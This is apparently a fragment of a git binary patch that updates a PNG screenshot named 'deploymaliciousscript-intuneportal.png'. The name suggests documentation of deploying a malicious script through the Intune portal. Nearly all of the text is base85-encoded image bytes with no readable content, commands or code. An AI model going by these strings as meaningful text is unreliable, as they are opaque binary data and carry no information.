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

      &Oqc-|W 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 diff --git a/.github/deploymaliciousscript-intuneportal.png b/.github/deploymaliciousscript-intuneportal.png index 6af03edbf52c114e4ef7ffdf42f7f9a6f554c40f..1298d7f5948b6867394277b5d4177e54bd60eb3c 100644 GIT binary patch literal 49838 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 